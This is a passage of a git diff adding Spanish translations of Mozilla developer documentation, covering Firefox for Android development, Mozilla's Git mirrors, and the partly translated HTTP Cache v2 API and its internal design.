+
+  <ul>
+   <li>pruebe los sitios web más comunes para revisar la compatibilidad del motor móvil gecko; vaya <a href="https://developer-new.mozilla.org/en-US/docs/Mozilla/Firefox_for_Android/Compatibility_Testing" title="https://developer-new.mozilla.org/en-US/docs/Mozilla/Firefox_for_Android/Compatibility_Testing">aquí</a> para más información</li>
+  </ul>
+ </li>
+ <li>contacte al equipo mediante <a class="link-irc" href="irc://irc.mozilla.org/#mobile">IRC</a> o únase a nuestra <a class="link-https" href="https://wiki.mozilla.org/Mobile/Notes">reunión de desarrollo de los miércoles</a></li>
+ <li>manténgase informado de las noticias del proyecto en <a class="external" href="http://planet.firefox.com/mobile/">planet firefox</a> y <a class="link-https" href="https://twitter.com/#!/mozmobile" title="https://twitter.com/#!/mozmobile">Twitter</a></li>
+ <li><a href="https://wiki.mozilla.org/Mobile/Fennec/Android" title="https://wiki.mozilla.org/Mobile/Fennec/Android">compile y haga cambios en el código de Firefox para Android</a> (Fennec)</li>
+</ul>
+
+<h2 id="Desarrolle_para_la_web_movil">Desarrolle para la web movil</h2>
+
+<p>Hemos comenzado a armar una guía para <a href="/En/Mobile" title="En/Mobile">diseñar sitios web para dispositivos móviles</a>.</p>
+
+<p>Con Firefox para Android, tiene acceso a varias API que permiten acceder a las capacidades fundamentales del dispositivo, cerrando la brecha entre la Web y las aplicaciones nativas:</p>
+
+<p><a class="external external-icon" href="https://hacks.mozilla.org/2012/02/using-the-battery-api-part-of-webapi/">B'</a></p>
+
+<ul>
+ <li><a href="/en/DOM/Using_the_Camera_API" title="Using the Camera API">Cámara</a></li>
+ <li><a href="/en/API/WebTelephony/Introduction_to_WebTelephony" title="Introduction to WebTelephony">TelefoníaWeb</a></li>
+ <li><a href="/en/API/WebSMS/Introduction_to_WebSMS" title="Introduction to WebSMS">SMSWeb</a></li>
+ <li><a href="/En/Using_geolocation" title="Using geolocation">Geolocalización</a></li>
+ <li><a href="/en/Detecting_device_orientation" title="https://developer.mozilla.org/en/detecting_device_orientation">Orientación</a></li>
+</ul>
+
+<p>Para probar su sitio web en Firefox para Android, puede <a class="external external-icon" href="https://www.mozilla.org/es-ES/firefox/">instalarlo en un dispositivo con Android</a> o <a class="link-https" href="https://wiki.mozilla.org/Mobile/Fennec/Android/Emulator">ejecútelo en su escritorio mediante el Emulador de Android</a>.</p>
+
+<h2 id="Cree_complementos_para_móviles">Cree complementos para móviles</h2>
+
+<p><a href="/en/Extensions/Mobile" title="en/Extensions/Firefox_on_Android">Firefox para Android es compatible con los complementos</a>, utilizando el mismo <a href="/en/Extensions" title="en/Extensions">sistema de extensiones</a> que usan todas las demás aplicaciones basadas en Gecko. No hemos inventado un nuevo sistema de complementos. Esto quiere decir que crear un complemento para Firefox en Android es el <a href="/en/Building_an_Extension" title="en/Building_an_Extension">mismo proceso</a> que seguiría con Firefox para el escritorio. Los complementos que funcionan en el Firefox del escritorio <strong>no</strong> funcionan automáticamente en Firefox para Android. Pongámoslo así: las interfaces son demasiado diferentes.</p>
+
+<div class="note">Firefox en Android tiene un identificador de aplicación único que debe utilizarse en <code>install.rdf</code>. El identificador es <code>{aa3c5121-dab2-40e2-81ca-7ea25febc110}</code></div>
+
+<p>Son compatibles ambas clases de complementos (los clásicos, que requieren reinicio; y los más recientes <a href="/en/Extensions/Bootstrapped_extensions" title="en/Extensions/Bootstrapped_extensions">que no lo necesitan</a>). De ser posible, se prefiere utilizar la clase que no necesita reinicio, porque la experiencia del usuario es mucho mejor cuando no se necesita forzar un reinicio de la aplicación cada vez que el usuario instala o desinstala un complemento.</p>
+
+<h3 id="Visión_general_rápida">Visión general rápida</h3>
+
+<ul>
+ <li>No hay XUL visible en la IU, asi que tratar de usar capas superpuestas para añadir o cambiar la UI no servira de nada.</li>
+ <li>El código y objetos internos, como <code>gBrowser</code>, no existen. Eche un vistazo al archivo <a class="external" href="http://mxr.mozilla.org/mozilla-central/source/mobile/android/chrome/content/browser.js" title="http://mxr.mozilla.org/mozilla-central/source/mobile/android/chrome/content/browser.js"><code>browser.js</code></a> de Firefox para Android, para saber más sobre el funcionamiento interno. Existe una gran parte de la funcionalidad fundamental.</li>
+ <li>Los servicios como <code>nsIPromptService</code> y <code>nsIAlertsService</code> están implementados para usar la IU nativa de Android.</li>
+ <li>Hay un objeto de JavaScript sencillo, llamado <a href="/en/Extensions/Mobile/API/NativeWindow" title="en/Extensions/Mobile/NativeWindow"><code>NativeWindow</code></a>, que le permite manipular partes de la interfaz nativa de Android.</li>
+</ul>
+
+<h2 id="Obtenga_ayuda_con_Firefox_para_Android">Obtenga ayuda con Firefox para Android</h2>
+
+<p>En el <a class="external" href="http://support.mozilla.org/mobile" title="http://support.mozilla.org/mobile">sitio web de asistencia de Mozilla</a> hay documentación y tutoriales para aprender a usar Firefox para Android y resolver problemas.</p>
diff --git a/files/es/mozilla/git/index.html b/files/es/mozilla/git/index.html
new file mode 100644
index 0000000000..a92f22d5ed
--- /dev/null
+++ b/files/es/mozilla/git/index.html
@@ -0,0 +1,12 @@
+---
+title: Git
+slug: Mozilla/Git
+translation_of: Mozilla/Git
+---
+<p><span class="tlid-translation translation" lang="es"><span title="">El espejo git oficial actual de la base de código de Firefox (también conocido como "gecko" o "mozilla-central") se puede encontrar en <a href="https://github.com/mozilla/gecko-dev">https://github.com/mozilla/gecko-dev.</a></span> <span title="">Este repositorio contiene todas las ramas que forman parte del desarrollo de la línea principal, incluidas las ramas del tren mozilla-central (todas las noches), mozilla-aurora (edición para desarrolladores), mozilla-beta y mozilla-release.</span><br>
+ <br>
+ <span title="">Si está buscando trabajar con otras ramas de Mozilla, <a href="https://github.com/mozilla/gecko-projects">https://github.com/mozilla/gecko-projects</a> también podrían ser útiles.</span> <span title="">Este repositorio contiene las <a href="https://wiki.mozilla.org/ReleaseEngineering/DisposableProjectBranches#BOOKING_SCHEDULE">ramas del proyecto </a>(también conocidas como "ramitas") cuyo uso varió.</span><br>
+ <br>
+ <span title="">Si prefiere usar git directamente con los repositorios hg, este flujo de trabajo describe cómo proceder.</span> <span title="">El uso de este enfoque también le permitirá pasar directamente de su repositorio git a mercurial.</span><br>
+ <br>
+ <span title="">El <a href="https://wiki.developer.mozilla.org/en-US/docs/Mozilla/Git$translate?tolocale=es#workflow">flujo de trabajo</a> mencionado anteriormente es el enfoque más actual y <a href="https://wiki.mozilla.org/GitHub/Gecko_Repositories">oficialmente documentado</a> para usar git para interactuar con mozilla-central.</span></span></p>
diff --git a/files/es/mozilla/http_cache/index.html b/files/es/mozilla/http_cache/index.html
new file mode 100644
index 0000000000..44b59a8bc1
--- /dev/null
+++ b/files/es/mozilla/http_cache/index.html
@@ -0,0 +1,487 @@
+---
+title: HTTP Cache
+slug: Mozilla/HTTP_cache
+translation_of: Mozilla/HTTP_cache
+---
+<div class="geckoVersionNote">
+<p style="margin-bottom: 0in;">Este documento describe la <strong>Nueva caché HTTP versión 2</strong>.</p>
+</div>
+
+<p style="margin-bottom: 0in;"></p>
+
+<p style="margin-bottom: 0in;">El código reside en <a href="https://dxr.mozilla.org/mozilla-central/source/netwerk/cache2/">/network/cache2</a>.</p>
+
+<p style="margin-bottom: 0in;"></p>
+
+<h2 id="API" style="margin-bottom: 0in;">API</h2>
+
+<p>Aquí hay una descripción detallada de la API de caché HTTP v2, con ejemplos incluidos.  Este documento sólo contiene lo que no se puede encontrar o puede no estar claro directamente de los comentarios de los <a href="http://mxr.mozilla.org/mozilla-central/find?text=&amp;string=cache2/nsICache">archivos IDL.</a></p>
+
+<ul>
+ <li>La API de caché es <strong>completamente thread-safe</strong> y <strong>non-blocking</strong>.</li>
+ <li><strong>No hay soporte IPC</strong>.  Solo es accesible en el proceso predeterminado de Chrome.</li>
+ <li>
+  <p>Cuando no hay perfil, la nueva caché HTTP funciona, pero todo se almacena solo en la memoria que no obedece a ningún límite en particular.</p>
+ </li>
+</ul>
+
+<div class="warning">
+<p>Está fuertemente codificado para <strong>NO USAR </strong>más la <strong>ANTIGUA</strong> API de <strong> </strong>caché - <code>nsICacheService</code> y otros.  Pronto será completamente obsoleto y eliminado (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=913828">bug 913828</a>).</p>
+</div>
+
+<h3 id="nsICacheStorageService_2" style="margin-bottom: 0in;"><a name="nsICacheStorageService"><strong>nsICacheStorageService</strong></a></h3>
+
+<ul>
+ <li>
+  <p style="margin-bottom: 0in;">El punto de entrada de la memoria caché HTTP. Accesible solo como un servicio, totalmente seguro para subprocesos y programable.</p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;"><a href="https://dxr.mozilla.org/mozilla-central/source/netwerk/cache2/nsICacheStorageService.idl">https://dxr.mozilla.org/mozilla-central/source/netwerk/cache2/nsICacheStorageService.idl</a></p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;"><span style="display: none;"> </span><code><span style="color: #b22222;">"@mozilla.org/netwerk/cache-storage-service;1"</span></code></p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;">Proporciona métodos para acceder a los objetos de “almacenamiento” – ver <a href="#nsICacheStorage"><code>nsICacheStorage </code></a>  más abajo – para obtener más acceso a las entradas de caché – ver <a href="#nsICacheStorage"><code>nsICacheEntry</code></a> más abajo – por URL específica.</p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;">Actualmente hay 3 tipos de almacenamientos, todos los métodos de acceso devuelve un objeto <a href="#nsICacheStorage"><code>nsICacheStorage</code></a> :</p>
+
+  <ul>
+   <li>
+    <p style="margin-bottom: 0in;"><strong>memory-only</strong> (<code>memoryCacheStorage</code>): Almacena datos solo en memoria caché, los datos en este almacenamiento nunca se guardan en disco.</p>
+   </li>
+   <li>
+    <p style="margin-bottom: 0in;"><strong>disk</strong> (<code>diskCacheStorage</code>): Almacena datos en el disco, pero para entradas existentes <u>además busca dentro del storage de memory-only; </u></p>
+
+    <p style="margin-bottom: 0in;">cuando se le indica a través de un argumento especial, t<u>ambién busca principalmente en la cache de aplicacion.</u></p>
+   </li>
+   <li>
+    <p style="margin-bottom: 0in;"><strong>application cache</strong> (<code>appCacheStorage</code>): Cuando un cliente tiene un objeto <code>nsIApplicationCache</code>  especifico (i.e. una version particular de app cache en un grupo ) en manos, este almacenamiento provee acceso de lectura y escritura a los registros en la aplicacion de Cache, cuando la app de Cache no ha sido especificada, el almacenamiento opera, sobre todas las app de cache.</p>
+   </li>
+  </ul>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;">El servicio también proporciona métodos para limpiar todo el disco y el contenido de la memoria caché o purgar cualquier estructura intermedia de memoria:</p>
+
+  <ul>
+   <li>
+    <p style="margin-bottom: 0in;"><code>clear </code>– after it returns, all entries are no longer accessible through the cache APIs; the method is fast to execute and non-blocking in any way; the actual erase happens in background</p>
+   </li>
+   <li>
+    <p style="margin-bottom: 0in;"><code>purgeFromMemory </code>– removes (schedules to remove) any intermediate cache data held in memory for faster access (more about the <a href="#Intermediate_memory_caching">intermediate cache</a> below)</p>
+   </li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="nsILoadContextInfo_2" style="margin-bottom: 0in;"><a name="nsILoadContextInfo">nsILoadContextInfo</a></h3>
+
+<ul>
+ <li>
+  <p style="margin-bottom: 0in;">Distingue el scope del almacenamiento demandado para abrir.</p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;">Argumento obligatorio de <code>*Storage</code>  metodos de <code>nsICacheStorageService</code>.</p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;"><a href="https://dxr.mozilla.org/mozilla-central/source/netwerk/base/public/nsILoadContextInfo.idl">https://dxr.mozilla.org/mozilla-central/source/netwerk/base/public/nsILoadContextInfo.idl</a></p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;"><span style="font-weight: normal;">Es una interaz de ayuda que se ajusta siguiendo 4 argumentos en uno solo</span><span style="font-weight: normal;">:</span></p>
+
+  <ul>
+   <li>
+    <p style="margin-bottom: 0in; font-weight: normal;"><strong>private-browsing</strong> boolean flag</p>
+   </li>
+   <li>
+    <p style="margin-bottom: 0in; font-weight: normal;"><strong>anonymous load</strong> boolean flag</p>
+   </li>
+   <li>
+    <p style="margin-bottom: 0in;"><span style="font-weight: normal;"><strong>app ID</strong> number (<code>0</code> for no app)</span></p>
+   </li>
+   <li>
+    <p style="margin-bottom: 0in;"><span style="font-weight: normal;"><strong>is-in-browser</strong> boolean flag</span></p>
+   </li>
+  </ul>
+ </li>
+ <li>
+  <div class="note">
+  <p style="margin-bottom: 0in;">Helper functions to create nsILoadContextInfo objects:</p>
+
+  <ul>
+   <li>
+    <p style="margin-bottom: 0in;">C++ consumers: functions at <code>LoadContextInfo.h</code> exported header</p>
+   </li>
+   <li>
+    <p style="margin-bottom: 0in;">JS consumers: <code>resource://gre/modules/LoadContextInfo.jsm</code> module methods</p>
+   </li>
+  </ul>
+  </div>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;">Dos objectos de almacenamiento creados con el mismo set de  <code>nsILoadContextInfo  </code>argumentos son identicos, conteniedo las mismas entredas de cache.</p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;">Two storage objects created with in any way different <code>nsILoadContextInfo </code>arguments are strictly and completely distinct and cache entries in them do not overlap even when having the same URIs.</p>
+ </li>
+</ul>
+
+<h3 id="nsICacheStorage_2" style="margin-bottom: 0in;"><a name="nsICacheStorage"><strong>nsICacheStorage</strong></a></h3>
+
+<ul>
+ <li>
+  <p style="margin-bottom: 0in;"><a href="https://dxr.mozilla.org/mozilla-central/source/netwerk/cache2/nsICacheStorage.idl"><span style="font-weight: normal;">https://dxr.mozilla.org/mozilla-central/source/netwerk/cache2/nsICacheStorage.idl</span></a></p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;">Obtained from call to one of the <code>*Storage</code> methods on <a href="#nsICacheStorageService"><code>nsICacheStorageService</code></a>.</p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;"><span style="font-weight: normal;">Represents a distinct storage area (or scope) to put and get cache entries mapped by URLs into and from it.</span></p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;"><em><span style="font-weight: normal;">Similarity with the old cache</span></em><span style="font-weight: normal;">: this interface may be with some limitations considered as a mirror to <code>nsICacheSession</code>, but less generic and not inclining to abuse.</span></p>
+ </li>
+ <li>
+  <div class="warning">
+  <p style="margin-bottom: 0in;"><span style="font-weight: normal;"><strong>Unimplemented or underimplemented functionality:</strong></span></p>
+
+  <p><span style="font-weight: normal;">asyncEvictStorage (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=977766">bug 977766</a>)</span>, asyncVisitStorage (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=916052">bug 916052</a>)</p>
+  </div>
+ </li>
+</ul>
+
+<h3 id="nsICacheEntryOpenCallback_2" style="margin-bottom: 0in;"><a name="nsICacheEntryOpenCallback"><strong>nsICacheEntryOpenCallback</strong></a></h3>
+
+<ul>
+ <li>
+  <p style="margin-bottom: 0in; font-weight: normal;"><a href="https://dxr.mozilla.org/mozilla-central/source/netwerk/cache2/nsICacheEntryOpenCallback.idl">https://dxr.mozilla.org/mozilla-central/source/netwerk/cache2/nsICacheEntryOpenCallback.idl</a></p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in; font-weight: normal;">The result of <code>nsICacheStorage.asyncOpenURI</code> is always and only sent to callbacks on this interface.</p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in; font-weight: normal;">These callbacks are ensured to be invoked when <code>asyncOpenURI</code> returns <code>NS_OK</code>.</p>
+ </li>
+ <li>
+  <div class="warning">
+  <p style="margin-bottom: 0in; font-weight: normal;"><strong>Important difference in behavior from the old cache:</strong> when the cache entry object is already present in memory or open as “force-new” (a.k.a “open-truncate”) this callback is invoked sooner then the <code>asyncOpenURI </code>method returns (i.e. immediately); there is currently no way to opt out of this feature (watch <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=938186">bug 938186</a>).</p>
+  </div>
+ </li>
+</ul>
+
+<h3 id="nsICacheEntry_2" style="margin-bottom: 0in;"><a name="nsICacheEntry"><strong>nsICacheEntry</strong></a></h3>
+
+<ul>
+ <li>
+  <p style="margin-bottom: 0in;"><a href="https://dxr.mozilla.org/mozilla-central/source/netwerk/cache2/nsICacheEntry.idl">https://dxr.mozilla.org/mozilla-central/source/netwerk/cache2/nsICacheEntry.idl</a></p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;"><span style="font-weight: normal;">Obtained asynchronously or pseudo-asynchronously by a call to <code><a href="#nsICacheStorage">nsICacheStorage</a>.asyncOpenURI</code>.</span></p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in; font-weight: normal;">Provides access to a cached entry data and meta data for reading or writing or in some cases both, see below.</p>
+ </li>
+</ul>
+
+<h4 id="Ciclo_de_vida_de_un_nuevo_ingreso">Ciclo de vida de un nuevo ingreso</h4>
+
+<ul>
+ <li>
+  <p style="margin-bottom: 0in;"><span style="font-weight: normal;">Como una entrada es inicialmente vacia (ningun dato o metado es almacenado en este).</span></p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;">El argumento <code>aNew </code>en <code>onCacheEntryAvailable</code> es <code>true</code> para este y nuevos ingresos.</p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in; font-weight: normal;">Only one consumer (the so called "<em>writer</em>") may have such an entry available (obtained via <code>onCacheEntryAvailable</code>).</p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in; font-weight: normal;">Other parallel openers of the same cache entry are blocked (wait) for invocation of their <code>onCacheEntryAvailable</code> until one of the following occurs:</p>
+
+  <ul>
+   <li>The <em>writer </em>simply throws the entry away: other waiting opener in line gets the entry again as "<em>new</em>", the cycle repeats.
+
+    <div class="note">
+    <p>This applies in general, writers throwing away the cache entry means a failure to write the cache entry and a new writer is being looked for again, the cache entry remains empty (a.k.a. "new").</p>
+    </div>
+   </li>
+   <li>The <em>writer </em>stored all necessary meta data in the cache entry and called <code>metaDataReady</code> on it: other consumers now get the entry and may examine and potentially modify the meta data and read the data (if any) of the cache entry.</li>
+   <li>When the <em>writer</em> has data (i.e. the response payload) to write to the cache entry, it <strong>must </strong>open the output stream on it <strong>before </strong>it calls <code>metaDataReady</code>.</li>
+  </ul>
+ </li>
+ <li>When the <em>writer</em> still keeps the cache entry and has open and keeps open the output stream on it, other consumers may open input streams on the entry. The data will be available as the <em>writer</em> writes data to the cache entry's output stream immediately, even before the output stream is closed. This is called <a href="#Concurrent_read_and_write"><strong>concurrent read/write</strong></a>.</li>
+</ul>
+
+<h4 id="Concurrent_read_and_write" style="margin-bottom: 0in; font-weight: normal;"><a name="Concurrent read and write">Concurrent read and write</a></h4>
+
+<div class="warning">
+<p><strong>Important difference in behavior from the old cache:</strong> the cache now supports reading a cache entry data while it is still being written by the first consumer - the <em>writer</em>.</p>
+</div>
+
+<p>This can only be engaged for resumable responses that (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=960902#c17">bug 960902</a>) don't need revalidation. Reason is that when the writer is interrupted (by e.g. external canceling of the loading channel) concurrent readers would not be able to reach the remaning unread content.</p>
+
+<div class="note">
+<p>This could be improved by keeping the network load running and being stored to the cache entry even after the writing channel has been canceled.</p>
+</div>
+
+<p>When the <em>writer</em> is interrupted, the first concurrent <em>reader</em> in line does a range request for the rest of the data - and becomes that way a new <em>writer</em>. The rest of the <em>readers</em> are still concurrently reading the content since output stream for the cache entry is again open and kept by the current <em>writer</em>.</p>
+
+<h4 id="Lifetime_of_an_existing_entry_with_only_a_partial_content" style="margin-bottom: 0in; font-weight: normal;">Lifetime of an existing entry with only a partial content</h4>
+
+<ul>
+ <li>Such a cache entry is first examined in the <code>nsICacheEntryOpenCallback.onCacheEntryCheck</code> callback, where it has to be checked for completeness.</li>
+ <li>In this case, the <code>Content-Length</code> (or different indicator) header doesn't equal to the data size reported by the cache entry.</li>
+ <li>The consumer then indicates the cache entry needs to be revalidated by returning <code>ENTRY_NEEDS_REVALIDATION </code>from <code>onCacheEntryCheck</code>.</li>
+ <li>This consumer, from the point of view the cache, takes a role of the <em>writer</em>.</li>
+ <li>Other parallel consumers, if any, are blocked until the <em>writer</em> calls <code>setValid</code> on the cache entry.</li>
+ <li>The consumer is then responsible to validate the partial content cache entry with the network server and attempt to load the rest of the data.</li>
+ <li>When the server responds positively (in case of an HTTP server with a 206 response code) the <em>writer </em>(in this order) opens the output stream on the cache entry and calls <code>setValid</code> to unblock other pending openers.</li>
+ <li>Concurrent read/write is engaged.</li>
+</ul>
+
+<h4 id="Lifetime_of_an_existing_entry_that_doesnt_pass_server_revalidation" style="margin-bottom: 0in; font-weight: normal;">Lifetime of an existing entry that doesn't pass server revalidation</h4>
+
+<ul>
+ <li>Such a cache entry is first examined in the <code>nsICacheEntryOpenCallback.onCacheEntryCheck</code> callback, where the consumer finds out it must be revalidated with the server before use.</li>
+ <li>The consumer then indicates the cache entry needs to be revalidated by returning <code>ENTRY_NEEDS_REVALIDATION </code>from <code>onCacheEntryCheck</code>.</li>
+ <li>This consumer, from the point of view the cache, takes a role of the <em>writer</em>.</li>
+ <li>Other parallel consumers, if any, are blocked until the <em>writer</em> calls <code>setValid</code> on the cache entry.</li>
+ <li>The consumer is then responsible to validate the partial content cache entry with the network server.</li>
+ <li>The server responses with a 200 response which means the cached content is no longer valid and a new version must be loaded from the network.</li>
+ <li>The <em>writer</em> then calls <code>recreate </code>on the cache entry. This returns a new empty entry to write the meta data and data to, the <em>writer</em> exchanges its cache entry by this new one and handles it as a new one.</li>
+ <li>The <em>writer</em> then (in this order) fills the necessary meta data of the cache entry, opens the output stream on it and calls <code>metaDataReady</code> on it.</li>
+ <li>Any other pending openers, if any, are now given this new entry to examine and read as an existing entry.</li>
+</ul>
+
+<h3 id="Adding_a_new_storage" style="margin-bottom: 0in;">Adding a new storage</h3>
+
+<p>Should there be a need to add a new distinct storage for which the current scoping model would not be sufficient - use one of the two following ways:</p>
+
+<ol>
+ <li><em>[preffered]</em> Add a new <code>&lt;Your&gt;Storage</code> method on <code>nsICacheStorageService</code> and if needed give it any arguments to specify the storage scope even more.  Implementation only should need to enhance the context key generation and parsing code and enhance current - or create new when needed - <code>nsICacheStorage</code> implementations to carry any additional information down to the cache service.</li>
+ <li><em>[<strong>not</strong> preferred]</em> Add a new argument to <a href="#nsILoadContextInfo"><code>nsILoadContextInfo</code></a>; <strong>be careful here</strong>, since some arguments on the context may not be known during the load time, what may lead to inter-context data leaking or implementation problems. Adding more distinction to <code>nsILoadContextInfo</code> also affects all existing storages which may not be always desirable.</li>
+</ol>
+
+<p>See context keying details for more information.</p>
+
+<h3 id="Code_examples">Code examples</h3>
+
+<p>TBD</p>
+
+<h4 id="Opening_an_entry">Opening an entry</h4>
+
+<h4 id="Creating_a_new_entry">Creating a new entry</h4>
+
+<h4 id="Recreating_an_already_open_entry">Recreating an already open entry</h4>
+
+<h2 id="Implementation">Implementation</h2>
+
+<h3 id="Threading">Threading</h3>
+
+<p>The cache API is fully thread-safe.</p>
+
+<p>The cache is using a single background thread where any IO operations like opening, reading, writing and erasing happen.  Also memory pool management, eviction, visiting loops happen on this thread.</p>
+
+<p>The thread supports several priority levels. Dispatching to a level with a lower number is executed sooner then dispatching to higher number layers; also any loop on lower levels yields to higher levels so that scheduled deletion of 1000 files will not block opening cache entries.</p>
+
+<ol>
+ <li><strong>OPEN_PRIORITY:</strong> except opening priority cache files also file dooming happens here to prevent races</li>
+ <li><strong>READ_PRIORITY:</strong> top level documents and head blocking script cache files are open and read as the first</li>
+ <li><strong>OPEN</strong></li>
+ <li><strong>READ:</strong> any normal priority content, such as images are open and read here</li>
+ <li><strong>WRITE:</strong> writes are processed as last, we cache data in memory in the mean time</li>
+ <li><strong>MANAGEMENT:</strong> level for the memory pool and CacheEntry background operations</li>
+ <li><strong>CLOSE:</strong> file closing level</li>
+ <li><strong>INDEX:</strong> index is being rebuild here</li>
+ <li><strong>EVICT:</strong> files overreaching the disk space consumption limit are being evicted here</li>
+</ol>
+
+<p>NOTE: Special case for eviction - when an eviction is scheduled on the IO thread, all operations pending on the OPEN level are first merged to the OPEN_PRIORITY level. The eviction preparation operation - i.e. clearing of the internal IO state - is then put to the end of the OPEN_PRIORITY level.  All this happens atomically. This functionality is currently pending in <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=976866">bug 976866</a>.</p>
+
+<h3 id="Storage_and_entries_scopes">Storage and entries scopes</h3>
+
+<p>A <em>scope key</em> string used to map the storage scope is based on the arguments of <code><a href="#nsILoadContextInfo">nsILoadContextInfo</a></code>. The form is following (currently pending in <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=968593">bug 968593</a>):</p>
+
+<pre class="bz_comment_text notranslate" id="comment_text_0">a,b,i1009,p,</pre>
+
+<ul>
+ <li>Regular expression: <code>(.([^,]+)?,)*</code></li>
+ <li>The first letter is an identifier, identifiers are to be alphabetically sorted and always terminate with ','</li>
+ <li>a - when present the scope is belonging to an <strong>anonymous</strong> load</li>
+ <li>b - when present the scope is <strong>in browser element</strong> load</li>
+ <li>i - when present must have a decimal integer value that represents an app ID the scope belongs to, otherwise there is no app (app ID is considered <code>0</code>)</li>
+ <li>p - when present the scope is of a <strong>private browsing </strong>load, this never persists</li>
+</ul>
+
+<p><code><strong>CacheStorageService </strong></code>keeps a global hashtable mapped by the <em>scope key</em>. Elements in this global hashtable are hashtables of cache entries. The cache entries are mapped by concantation of Enhance ID and URI passed to <code>nsICacheStorage.asyncOpenURI</code>.  So that when an entry is beeing looked up, first the global hashtable is searched using the <em>scope key</em>. An entries hashtable is found. Then this entries hashtable is searched using &lt;enhance-id:&gt;&lt;uri&gt; string. The elemets in this hashtable are CacheEntry classes, see below.</p>
+
+<p>The hash tables keep a strong reference to <code>CacheEntry</code> objects. The only way to remove <code>CacheEntry</code> objects from memory is by exhausting a memory limit for <a href="##Intermediate_memory_caching">intermediate memory caching</a>, what triggers a background process of purging expired and then least used entries from memory. Another way is to directly call the <code>nsICacheStorageService.purge </code>method. That method is also called automatically on the <span style="color: #b22222;"><code>"memory-pressure"</code></span> indication.</p>
+
+<p>Access to the hashtables is protected by a global lock. We also - in a thread-safe manner - count the number of consumers keeping a reference on each entry. The open callback actually doesn't give the consumer directly the <code>CacheEntry</code> object but a small wrapper class that manages the 'consumer reference counter' on its cache entry. This both mechanisms ensure thread-safe access and also inability to have more then a single instance of a <code>CacheEntry</code> for a single &lt;scope+enhanceID+URL&gt; key.</p>
+
+<p><code><strong>CacheStorage</strong></code>, implementing the <code><a href="#nsICacheStorage">nsICacheStorage</a></code> interface, is forwarding all calls to internal methods of <code>CacheStorageService</code> passing itself as an argument.  <code>CacheStorageService</code> then generates the <em>scope key</em> using the <code><a href="#nsILoadContextInfo">nsILoadContextInfo</a></code> of the storage. <span style="color: #696969;">Note: CacheStorage keeps a thread-safe copy of <code>nsILoadContextInfo</code> passed to a <code>*Storage</code> method on <code>nsICacheStorageService</code>.</span></p>
+
+<h3 id="Invoking_open_callbacks">Invoking open callbacks</h3>
+
+<p><code><strong>CacheEntry</strong></code>, implementing the <code><a href="#nsICacheEntry">nsICacheEntry</a></code> interface, is responsible for managing the cache entry internal state and to properly invoke <code>onCacheEntryCheck</code> and <code>onCacheEntryAvaiable</code> callbacks to all callers of <code>nsICacheStorage.asyncOpenURI</code>.</p>
+
+<ul>
+ <li>Keeps a FIFO of all openers.</li>
+ <li>Keeps its internal state like NOTLOADED, LOADING, EMPTY, WRITING, READY, REVALIDATING.</li>
+ <li>Keeps the number of consumers keeping a reference to it.</li>
+ <li>Refers a <code>CacheFile</code> object that holds actual data and meta data and, when told to, persists it to the disk.</li>
+</ul>
+
+<p>The openers FIFO is an array of <code>CacheEntry::Callback</code> objects. <code>CacheEntry::Callback</code> keeps a strong reference to the opener plus the opening flags.  <code>nsICacheStorage.asyncOpenURI</code> forwards to <code>CacheEntry::AsyncOpen</code> and triggers the following pseudo-code:</p>
+
+<p><a name="CacheStorage::AsyncOpenURI"><strong>CacheStorage::AsyncOpenURI - the API entry point</strong></a>:</p>
+
+<ul>
+ <li>globally atomic:
+  <ul>
+   <li>look a given <code>CacheEntry</code> in <code>CacheStorageService</code> hash tables up</li>
+   <li>if not found: create a new one, add it to the proper hash table and set its state to NOTLOADED</li>
+   <li>consumer reference ++</li>
+  </ul>
+ </li>
+ <li>call to <a href="#CacheEntry::AsyncOpen">CacheEntry::AsyncOpen</a></li>
+ <li>consumer reference --</li>
+</ul>
+
+<p><a name="CacheEntry::AsyncOpen"><strong>CacheEntry::AsyncOpen</strong> (entry atomic)</a>:</p>
+
+<ul>
+ <li>the opener is added to FIFO, consumer reference ++ (dropped back after an opener is removed from the FIFO)</li>
+ <li>state == NOTLOADED:
+  <ul>
+   <li>state = LOADING</li>
+   <li>when OPEN_TRUNCATE flag was used:
+    <ul>
+     <li><code>CacheFile</code> is created as 'new', state = EMPTY</li>
+    </ul>
+   </li>
+   <li>otherwise:
+    <ul>
+     <li><code>CacheFile</code> is created and load on it started</li>
+     <li><code><a href="#CacheEntry::OnFileReady">CacheEntry::OnFileReady</a></code> notification is now expected</li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+ <li>state == LOADING: just do nothing and exit</li>
+ <li>call to <a href="#CacheEntry::InvokeCallbacks">CacheEntry::InvokeCallbacks</a></li>
+</ul>
+
+<p><a name="CacheEntry::InvokeCallbacks"><strong>CacheEntry::InvokeCallbacks</strong> (entry atomic):</a></p>
+
+<ul>
+ <li>called on:
+  <ul>
+   <li>a new opener has been added to the FIFO via an <code><strong><a href="#CacheEntry::AsyncOpen">AsyncOpen</a></strong></code> call</li>
+   <li>asynchronous result of <a href="#CacheEntry::OnFileReady"><strong><code>CacheFile</code> open</strong></a></li>
